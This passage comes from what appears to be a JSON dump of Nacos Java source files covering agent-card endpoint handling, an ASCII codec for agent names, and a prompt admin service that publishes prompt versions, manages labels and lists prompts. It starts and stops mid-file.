(agentCardVersionInfo.getLatestPublishedVersion().equals(result.getVersion())) {\n            result.setLatestVersion(true);\n        }\n        return result;\n    }\n    \n    private void injectEndpoint(AgentCardDetailInfo agentCard, String namespaceId) {\n        String serviceName = agentIdCodecHolder.encode(agentCard.getName()) + \"::\" + agentCard.getVersion();\n        Service service = Service.newService(namespaceId, Constants.A2A.AGENT_ENDPOINT_GROUP, serviceName);\n        ServiceInfo serviceInfo = serviceStorage.getData(service);\n        if (serviceInfo.getHosts().isEmpty()) {\n            return;\n        }\n        List<AgentInterface> allAgentEndpoints = serviceInfo.getHosts().stream().map(AgentCardUtil::buildAgentInterface)\n                .toList();\n        agentCard.setAdditionalInterfaces(allAgentEndpoints);\n        List<AgentInterface> matchTransportEndpoints = allAgentEndpoints.stream()\n                .filter(agentInterface -> agentInterface.getTransport()\n                        .equalsIgnoreCase(agentCard.getPreferredTransport())).toList();\n        AgentInterface randomPreferredTransportEndpoint = randomOne(\n                matchTransportEndpoints.isEmpty() ? allAgentEndpoints : matchTransportEndpoints);\n        agentCard.setUrl(randomPreferredTransportEndpoint.getUrl());\n        agentCard.setPreferredTransport(randomPreferredTransportEndpoint.getTransport());\n    }\n    \n    /**\n     * TODO abstract a choose policy.\n     */\n    private AgentInterface randomOne(List<AgentInterface> agentInterfaces) {\n        return agentInterfaces.get(ThreadLocalRandom.current().nextInt(agentInterfaces.size()));\n    }\n    \n    private ConfigForm transferVersionInfoToConfigForm(AgentCardVersionInfo agentCardVersionInfo, String namespaceId) {\n        ConfigForm configForm = new ConfigForm();\n        String actualDataId = agentIdCodecHolder.encode(agentCardVersionInfo.getName());\n        configForm.setDataId(actualDataId);\n        configForm.setGroup(AGENT_GROUP);\n        configForm.setNamespaceId(namespaceId);\n        configForm.setContent(JacksonUtils.toJson(agentCardVersionInfo));\n        configForm.setConfigTags(\"nacos.internal.config=agent\");\n        configForm.setAppName(agentCardVersionInfo.getName());\n        configForm.setSrcUser(\"nacos\");\n        configForm.setType(ConfigType.JSON.getType());\n        \n        return configForm;\n    }\n    \n    private ConfigForm transferAgentInfoToConfigForm(AgentCardDetailInfo storageInfo, String namespaceId) {\n        ConfigForm configForm = new ConfigForm();\n        String actualDataId = agentIdCodecHolder.encode(storageInfo.getName()) + \"-\" + storageInfo.getVersion();\n        configForm.setDataId(actualDataId);\n        configForm.setGroup(AGENT_VERSION_GROUP);\n        configForm.setNamespaceId(namespaceId);\n        configForm.setContent(JacksonUtils.toJson(storageInfo));\n        configForm.setConfigTags(\"nacos.internal.config=agent-version\");\n        configForm.setAppName(storageInfo.getName());\n        configForm.setSrcUser(\"nacos\");\n        configForm.setType(ConfigType.JSON.getType());\n        \n        return configForm;\n    }\n    \n    private AgentCardVersionInfo queryAgentCardVersionInfo(String namespaceId, String name) throws NacosApiException {\n        // Check if the agent exists\n        String actualDataId = agentIdCodecHolder.encode(name);\n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(actualDataId,\n                AGENT_GROUP, namespaceId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.AGENT_NOT_FOUND,\n                    \"Agent not found: \" + name);\n        }\n        return JacksonUtils.toObj(response.getContent(), AgentCardVersionInfo.class);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/a2a/identity/AgentIdCodec.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.a2a.identity;\n\n/**\n * Nacos AI module A2A（Agent & AgentCard）identity Codec.\n *\n * <p>\n *     Agent and AgentCard allow user custom agent name without limit for now, but no limit means out of control and might cause un-expected behavior.\n *     So when storage in Nacos, it should be match some word limits.\n *     We need to encode and decode agent name as the identity to do storage.\n * </p>\n *\n * @author xiweng.yy\n */\npublic interface AgentIdCodec {\n    \n    /**\n     * Encode agent name to identity.\n     *\n     * @param agentName agent name\n     * @return identity encoded from agent name\n     */\n    String encode(String agentName);\n    \n    /**\n     * Encode agent name to identity for search, which means only do encode value without any prefix and suffix, used to do blur search.\n     *\n     * @param agentName agent name\n     * @return identity encoded from agent name\n     */\n    String encodeForSearch(String agentName);\n    \n    /**\n     * Decode agent id to agent name.\n     *\n     * @param agentId agent identity\n     * @return agent name\n     */\n    String decode(String agentId);\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/a2a/identity/AgentIdCodecHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.a2a.identity;\n\nimport org.springframework.beans.factory.ObjectProvider;\nimport org.springframework.stereotype.Component;\n\n/**\n * The Holder of {@link AgentIdCodec}.\n *\n * @author xiweng.yy\n */\n@Component\npublic class AgentIdCodecHolder {\n    \n    private final AgentIdCodec agentIdCodec;\n    \n    public AgentIdCodecHolder(ObjectProvider<AgentIdCodec> agentIdCodecsProvider) {\n        this.agentIdCodec = agentIdCodecsProvider.getIfAvailable(AsciiAgentIdCodec::new);\n    }\n    \n    /**\n     * Encode agent name to identity.\n     *\n     * @param agentName agent name\n     * @return identity encoded from agent name\n     */\n    public String encode(String agentName) {\n        return agentIdCodec.encode(agentName);\n    }\n    \n    /**\n     * Encode agent name to identity for search, which means only do encode value without any prefix and suffix, used to do blur search.\n     *\n     * @param agentName agent name\n     * @return identity encoded from agent name\n     */\n    public String encodeForSearch(String agentName) {\n        return agentIdCodec.encodeForSearch(agentName);\n    }\n    \n    /**\n     * Decode agent id to agent name.\n     *\n     * @param agentId agent identity\n     * @return agent name\n     */\n    public String decode(String agentId) {\n        return agentIdCodec.decode(agentId);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/a2a/identity/AsciiAgentIdCodec.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.a2a.identity;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\n\nimport java.util.Set;\n\n/**\n * Agent Identity Codec implement by ASCII.\n *\n * <p>\n *     Only consider show-able ASCII code from 32(x20) to 126(x7E).\n * </p>\n *\n * @author xiweng.yy\n */\npublic class AsciiAgentIdCodec implements AgentIdCodec {\n    \n    private static final String ENCODE_PREFIX = \"____:\";\n    \n    private static final char ENCODE_MARK_CHAR = '_';\n    \n    /**\n     * Come From {@link ParamUtils#validChars} and remove {@link #ENCODE_MARK_CHAR}.\n     */\n    private static final Set<Character> VALID_CHAR = Set.of('-', '.', ':');\n    \n    @Override\n    public String encode(String agentName) {\n        if (!isNeedEncoded(agentName)) {\n            return agentName;\n        }\n        \n        StringBuilder sb = new StringBuilder(ENCODE_PREFIX);\n        for (char ch : agentName.toCharArray()) {\n            if (Character.isLetter(ch) || VALID_CHAR.contains(ch)) {\n                // Keep letters, valid characters and non-underscores\n                // number should be encoded, because the encoded result will contain numbers\n                // which will cause search agentName contains unexpected results.\n                sb.append(ch);\n            } else {\n                sb.append(ENCODE_MARK_CHAR).append(String.format(\"%03d\", (int) ch));\n            }\n        }\n        return sb.toString();\n    }\n    \n    @Override\n    public String encodeForSearch(String agentName) {\n        String encodedName = encode(agentName);\n        return isEncoded(encodedName) ? encodedName.substring(ENCODE_PREFIX.length()) : encodedName;\n    }\n    \n    @Override\n    public String decode(String agentId) {\n        if (!isEncoded(agentId)) {\n            return agentId;\n        }\n        \n        String body = agentId.substring(ENCODE_PREFIX.length());\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < body.length(); ) {\n            char ch = body.charAt(i);\n            if (ch == '_' && i + 4 <= body.length()) {\n                String codePart = body.substring(i + 1, i + 4);\n                if (isDigit(codePart)) {\n                    int codePoint = Integer.parseInt(codePart, 10);\n                    sb.append((char) codePoint);\n                    i += 4;\n                    continue;\n                }\n            }\n            \n            sb.append(ch);\n            i++;\n        }\n        return sb.toString();\n    }\n    \n    private boolean isDigit(String s) {\n        for (char c : s.toCharArray()) {\n            if (!Character.isDigit(c)) {\n                return false;\n            }\n        }\n        return s.length() == 3;\n    }\n    \n    private boolean isEncoded(String name) {\n        return name != null && name.startsWith(ENCODE_PREFIX);\n    }\n    \n    private boolean isNeedEncoded(String name) {\n        if (StringUtils.isEmpty(name)) {\n            return false;\n        }\n        if (name.startsWith(ENCODE_PREFIX)) {\n            return false;\n        }\n        for (char ch : name.toCharArray()) {\n            if (!Character.isLetter(ch) && !VALID_CHAR.contains(ch)) {\n                return true;\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptAdminOperationService.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVariable;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\n\nimport java.util.List;\n\n/**\n * Prompt admin operation service.\n *\n * @author nacos\n */\npublic interface PromptAdminOperationService {\n    \n    /**\n     * Publish prompt version boolean.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param version     the version\n     * @param template    the template\n     * @param commitMsg   the commit msg\n     * @param description the description\n     * @param bizTags     the biz tags\n     * @param variables   the prompt variable definitions with optional default values\n     * @param srcUser     the src user\n     * @param srcIp       the src ip\n     * @return the boolean\n     * @throws NacosException the nacos exception\n     */\n    boolean publishPromptVersion(String namespaceId, String promptKey, String version, String template, String commitMsg,\n            String description, List<String> bizTags, List<PromptVariable> variables, String srcUser, String srcIp)\n            throws NacosException;\n    \n    /**\n     * Bind label boolean.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param label       the label\n     * @param version     the version\n     * @param srcUser     the src user\n     * @param srcIp       the src ip\n     * @return the boolean\n     * @throws NacosException the nacos exception\n     */\n    boolean bindLabel(String namespaceId, String promptKey, String label, String version, String srcUser, String srcIp)\n            throws NacosException;\n    \n    /**\n     * Unbind label boolean.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param label       the label\n     * @param srcUser     the src user\n     * @param srcIp       the src ip\n     * @return the boolean\n     * @throws NacosException the nacos exception\n     */\n    boolean unbindLabel(String namespaceId, String promptKey, String label, String srcUser, String srcIp)\n            throws NacosException;\n    \n    /**\n     * Delete prompt boolean.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param srcUser     the src user\n     * @param srcIp       the src ip\n     * @return the boolean\n     * @throws NacosException the nacos exception\n     */\n    boolean deletePrompt(String namespaceId, String promptKey, String srcUser, String srcIp) throws NacosException;\n    \n    /**\n     * Update prompt metadata boolean.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param description the description\n     * @param bizTags     the biz tags\n     * @param srcUser     the src user\n     * @param srcIp       the src ip\n     * @return the boolean\n     * @throws NacosException the nacos exception\n     */\n    boolean updatePromptMetadata(String namespaceId, String promptKey, String description, List<String> bizTags, String srcUser,\n            String srcIp) throws NacosException;\n    \n    /**\n     * List prompts page.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param search      the search\n     * @param bizTags     the biz tags\n     * @param pageNo      the page no\n     * @param pageSize    the page size\n     * @return the page\n     * @throws NacosException the nacos exception\n     */\n    Page<PromptMetaSummary> listPrompts(String namespaceId, String promptKey, String search, String bizTags, int pageNo,\n            int pageSize) throws NacosException;\n    \n    /**\n     * List prompt versions page.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param pageNo      the page no\n     * @param pageSize    the page size\n     * @return the page\n     * @throws NacosException the nacos exception\n     */\n    Page<PromptVersionSummary> listPromptVersions(String namespaceId, String promptKey, int pageNo, int pageSize)\n            throws NacosException;\n    \n    /**\n     * Gets prompt meta.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @return the prompt meta\n     * @throws NacosException the nacos exception\n     */\n    PromptMetaInfo getPromptMeta(String namespaceId, String promptKey) throws NacosException;\n    \n    /**\n     * Query prompt detail prompt version info.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param version     the version\n     * @param label       the label\n     * @return the prompt version info\n     * @throws NacosException the nacos exception\n     */\n    PromptVersionInfo queryPromptDetail(String namespaceId, String promptKey, String version, String label) throws NacosException;\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptAdminOperationServiceImpl.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.utils.PromptDataIdUtils;\nimport com.alibaba.nacos.ai.utils.PromptVersionUtils;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptDescriptor;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptLabelVersionMapping;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVariable;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.ai.constant.Constants.ALL_PATTERN;\nimport static com.alibaba.nacos.ai.constant.Constants.Prompt.PROMPT_CONFIG_TYPE;\nimport static com.alibaba.nacos.ai.constant.Constants.Prompt.PROMPT_GROUP;\nimport static com.alibaba.nacos.ai.constant.Constants.Prompt.SEARCH_BLUR;\n\n/**\n * Prompt admin operation service implementation.\n *\n * @author nacos\n */\n@Service\npublic class PromptAdminOperationServiceImpl implements PromptAdminOperationService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(PromptAdminOperationServiceImpl.class);\n    \n    private final ConfigOperationService configOperationService;\n    \n    private final ConfigDetailService configDetailService;\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    public PromptAdminOperationServiceImpl(ConfigOperationService configOperationService,\n            ConfigDetailService configDetailService, ConfigInfoPersistService configInfoPersistService) {\n        this.configOperationService = configOperationService;\n        this.configDetailService = configDetailService;\n        this.configInfoPersistService = configInfoPersistService;\n    }\n    \n    @Override\n    public boolean publishPromptVersion(String namespaceId, String promptKey, String version, String template, String commitMsg,\n            String description, List<String> bizTags, List<PromptVariable> variables, String srcUser, String srcIp)\n            throws NacosException {\n        validatePromptKeyAndVersion(promptKey, version);\n        if (!PromptVersionUtils.isValidVersion(version)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Version must be in format major.minor.patch\");\n        }\n        if (StringUtils.isBlank(template)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `template` not present\");\n        }\n        PromptLabelVersionMappingSnapshot snapshot = loadLabelVersionMappingSnapshot(namespaceId, promptKey);\n        boolean newPrompt = snapshot.getMapping() == null;\n        boolean hasMetadataFields = description != null || bizTags != null;\n        if (!newPrompt && hasMetadataFields) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"description and bizTags can only be set on first publish, use updatePromptMetadata afterwards\");\n        }\n        PromptLabelVersionMapping mapping = snapshot.getMapping() == null\n                ? PromptMetaUtils.initEmptyLabelVersionMapping(promptKey) : snapshot.getMapping();\n        if (mapping.getVersions().contains(version)) {\n            throw new NacosApiException(NacosException.CONFLICT, ErrorCode.RESOURCE_CONFLICT,\n                    String.format(\"prompt version `%s` already exists\", version));\n        }\n        String versionDataId = PromptDataIdUtils.buildVersionDataId(promptKey, version);\n        ConfigInfoWrapper versionConfig = configInfoPersistService.findConfigInfo(versionDataId, PROMPT_GROUP, namespaceId);\n        if (versionConfig != null && StringUtils.isNotBlank(versionConfig.getContent())) {\n            throw new NacosApiException(NacosException.CONFLICT, ErrorCode.RESOURCE_CONFLICT,\n                    String.format(\"prompt version `%s` already exists\", version));\n        }\n        \n        long now = System.currentTimeMillis();\n        PromptVersionInfo versionInfo = new PromptVersionInfo();\n        versionInfo.setPromptKey(promptKey);\n        versionInfo.setVersion(version);\n        versionInfo.setTemplate(template);\n        versionInfo.setCommitMsg(commitMsg);\n        versionInfo.setGmtModified(now);\n        versionInfo.setVariables(variables);\n        publishConfig(namespaceId, versionDataId, JacksonUtils.toJson(versionInfo), srcUser, srcIp, null, false, null);\n        \n        mapping.getVersions().add(version);\n        mapping.getVersions().sort(buildVersionComparator());\n        mapping.setLatestVersion(mapping.getVersions().get(mapping.getVersions().size() - 1));\n        mapping.setGmtModified(now);\n        \n        publishLabelVersionMapping(namespaceId, promptKey, mapping, snapshot.getMd5(), srcUser, srcIp);\n        if (newPrompt) {\n            PromptDescriptor descriptor = PromptMetaUtils.initEmptyDescriptor(promptKey);\n            if (StringUtils.isNotBlank(description)) {\n                descriptor.setDescription(description);\n            }\n            if (bizTags != null) {\n                descriptor.setBizTags(new ArrayList<>(bizTags));\n            }\n            publishDescriptor(namespaceId, promptKey, descriptor, null, srcUser, srcIp);\n        }\n        refreshLatestMirror(namespaceId, promptKey, mapping.getLatestVersion(), srcUser, srcIp);\n        return true;\n    }\n    \n    @Override\n    public boolean bindLabel(String namespaceId, String promptKey, String label, String version, String srcUser, String srcIp)\n            throws NacosException {\n        validatePromptKeyAndVersion(promptKey, version);\n        if (StringUtils.isBlank(label)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `label` not present\");\n        }\n        PromptLabelVersionMappingSnapshot snapshot = requireLabelVersionMappingSnapshot(namespaceId, promptKey);\n        PromptLabelVersionMapping mapping = snapshot.getMapping();\n        if (!mapping.getVersions().contains(version)) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt version `%s` not found\", version));\n        }\n        mapping.getLabels().put(label, version);\n        mapping.setGmtModified(System.currentTimeMillis());\n        publishLabelVersionMapping(namespaceId, promptKey, mapping, snapshot.getMd5(), srcUser, srcIp);\n        return true;\n    }\n    \n    @Override\n    public boolean unbindLabel(String namespaceId, String promptKey, String label, String srcUser, String srcIp)\n            throws NacosException {\n        if (StringUtils.isBlank(promptKey) || StringUtils.isBlank(label)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` and `label` not present\");\n        }\n        PromptLabelVersionMappingSnapshot snapshot = requireLabelVersionMappingSnapshot(namespaceId, promptKey);\n        PromptLabelVersionMapping mapping = snapshot.getMapping();\n        mapping.getLabels().remove(label);\n        mapping.setGmtModified(System.currentTimeMillis());\n        publishLabelVersionMapping(namespaceId, promptKey, mapping, snapshot.getMd5(), srcUser, srcIp);\n        return true;\n    }\n    \n    @Override\n    public boolean deletePrompt(String namespaceId, String promptKey, String srcUser, String srcIp) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` not present\");\n        }\n        PromptLabelVersionMappingSnapshot snapshot = loadLabelVersionMappingSnapshot(namespaceId, promptKey);\n        configOperationService.deleteConfig(PromptDataIdUtils.buildDescriptorDataId(promptKey), PROMPT_GROUP, namespaceId, null, srcIp,\n                srcUser, null);\n        configOperationService.deleteConfig(PromptDataIdUtils.buildLabelVersionMappingDataId(promptKey), PROMPT_GROUP, namespaceId, null,\n                srcIp, srcUser, null);\n        configOperationService.deleteConfig(PromptDataIdUtils.buildLatestDataId(promptKey), PROMPT_GROUP, namespaceId, null, srcIp,\n                srcUser, null);\n        if (snapshot.getMapping() != null) {\n            for (String version : new ArrayList<>(snapshot.getMapping().getVersions())) {\n                String versionDataId = PromptDataIdUtils.buildVersionDataId(promptKey, version);\n                configOperationService.deleteConfig(versionDataId, PROMPT_GROUP, namespaceId, null, srcIp, srcUser, null);\n            }\n        }\n        return true;\n    }\n    \n    @Override\n    public boolean updatePromptMetadata(String namespaceId, String promptKey, String description, List<String> bizTags, String srcUser,\n            String srcIp) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` not present\");\n        }\n        requireLabelVersionMappingSnapshot(namespaceId, promptKey);\n        DescriptorSnapshot descriptorSnapshot = loadDescriptorSnapshot(namespaceId, promptKey);\n        PromptDescriptor descriptor = descriptorSnapshot.getDescriptor() == null\n                ? PromptMetaUtils.initEmptyDescriptor(promptKey) : descriptorSnapshot.getDescriptor();\n        if (description != null) {\n            descriptor.setDescription(description);\n        }\n        if (bizTags != null) {\n            descriptor.setBizTags(new ArrayList<>(bizTags));\n        }\n        publishDescriptor(namespaceId, promptKey, descriptor, descriptorSnapshot.getMd5(), srcUser, srcIp);\n        return true;\n    }\n    \n    @Override\n    public Page<PromptMetaSummary> listPrompts(String namespaceId, String promptKey, String search, String bizTags, int pageNo,\n            int pageSize) throws NacosException {\n        String metaPattern;\n        if (StringUtils.isEmpty(promptKey) || SEARCH_BLUR.equalsIgnoreCase(search)) {\n            String keyPattern = StringUtils.isNotBlank(promptKey) ? promptKey : StringUtils.EMPTY;\n            metaPattern = ALL_PATTERN + keyPattern + ALL_PATTERN + Constants.Prompt.DESCRIPTOR_DATA_ID_SUFFIX;\n            search = SEARCH_BLUR;\n        } else {\n            metaPattern = PromptDataIdUtils.buildDescriptorDataId(promptKey);\n        }\n        Map<String, Object> configAdvanceInfo = null;\n        if (StringUtils.isNotBlank(bizTags)) {\n            configAdvanceInfo = new HashMap<>(2);\n            configAdvanceInfo.put(\"config_tags\", bizTags);\n        }\n        Page<ConfigInfo> configPage = configDetailService.findConfigInfoPage(search, pageNo, pageSize, metaPattern, PROMPT_GROUP,\n                namespaceId, configAdvanceInfo);\n        List<PromptMetaSummary> items = configPage.getPageItems().stream().map(each -> {\n            try {\n                PromptDescriptor descriptor = PromptMetaUtils.normalizeDescriptor(\n                        JacksonUtils.toObj(each.getContent(), PromptDescriptor.class));\n                if (each.getGmtModified() != null) {\n                    descriptor.setGmtModified(each.getGmtModified());\n                }\n                String itemPromptKey = StringUtils.isBlank(descriptor.getPromptKey())\n                        ? PromptDataIdUtils.extractPromptKeyFromDescriptorDataId(each.getDataId())\n                        : descriptor.getPromptKey();\n                PromptLabelVersionMapping mapping = getPromptLabelVersionMapping(namespaceId, itemPromptKey);\n                PromptMetaInfo merged = PromptMetaUtils.composeMetaInfo(itemPromptKey, mapping, descriptor);\n                PromptMetaSummary result = new PromptMetaSummary();\n                result.setSchemaVersion(merged.getSchemaVersion());\n                result.setPromptKey(merged.getPromptKey());\n                result.setDescription(merged.getDescription());\n                result.setLatestVersion(merged.getLatestVersion());\n                result.setBizTags(merged.getBizTags() == null ? new ArrayList<>(4) : new ArrayList<>(merged.getBizTags()));\n                result.setGmtModified(merged.getGmtModified());\n                return result;\n            } catch (Exception ex) {\n                return null;\n            }\n        }).filter(Objects::nonNull).collect(Collectors.toList());\n        Page<PromptMetaSummary> result = new Page<>();\n        result.setPageNumber(pageNo);\n        result.setPagesAvailable(configPage.getPagesAvailable());\n        result.setTotalCount(configPage.getTotalCount());\n        result.setPageItems(items);\n        return result;\n    }\n    \n    @Override\n    public Page<PromptVersionSummary> listPromptVersions(String namespaceId, String promptKey, int pageNo, int pageSize)\n            throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` not present\");\n        }\n        PromptMetaInfo meta = getPromptMeta(namespaceId, promptKey);\n        if (meta == null) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt `%s` not found\", promptKey));\n        }\n        List<String> versions = new ArrayList<>(meta.getVersions());\n        versions.sort(buildVersionComparator().reversed());\n        int totalCount = versions.size();\n        int safePageNo = Math.max(pageNo, 1);\n        int safePageSize = Math.max(pageSize, 1);\n        int startIndex = (safePageNo - 1) * safePageSize;\n        int endIndex = Math.min(startIndex + safePageSize, totalCount);\n        List<String> pagedVersions = startIndex < totalCount ? versions.subList(startIndex, endIndex) : Collections.emptyList();\n        List<PromptVersionSummary> items = pagedVersions.stream().map(each -> {\n            PromptVersionSummary result = new PromptVersionSummary();\n            result.setPromptKey(promptKey);\n            result.setVersion(each);\n            try {\n                PromptVersionInfo detail = queryPromptDetail(namespaceId, promptKey, each, null);\n                result.setCommitMsg(detail.getCommitMsg());\n                result.setSrcUser(detail.getSrcUser());\n                result.setGmtModified(detail.getGmtModified());\n            } catch (NacosException ex) {\n                LOGGER.warn(\"Query prompt version detail failed for prompt={}, version={}\", promptKey, each, ex);\n            }\n            return result;\n        }).collect(Collectors.toList());\n        Page<PromptVersionSummary> result = new Page<>();\n        result.setPageItems(items);\n        result.setTotalCount(totalCount);\n        result.setPagesAvailable((int) Math.ceil((double) totalCount / (double) safePageSize));\n        result.setPageNumber(safePageNo);\n        return result;\n    }\n    \n    @Override\n    public PromptMetaInfo getPromptMeta(String namespaceId, String promptKey) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            return null;\n        }\n        PromptLabelVersionMapping mapping = getPromptLabelVersionMapping(namespaceId, promptKey);\n        if (mapping == null) {\n            return null;\n        }\n        DescriptorSnapshot descriptorSnapshot = loadDescriptorSnapshot(namespaceId, promptKey);\n        return PromptMetaUtils.composeMetaInfo(promptKey, mapping, descriptorSnapshot.getDescriptor());\n    }\n    \n    @Override\n    public PromptVersionInfo queryPromptDetail(String namespaceId, String promptKey, String version, String label)\n            throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n  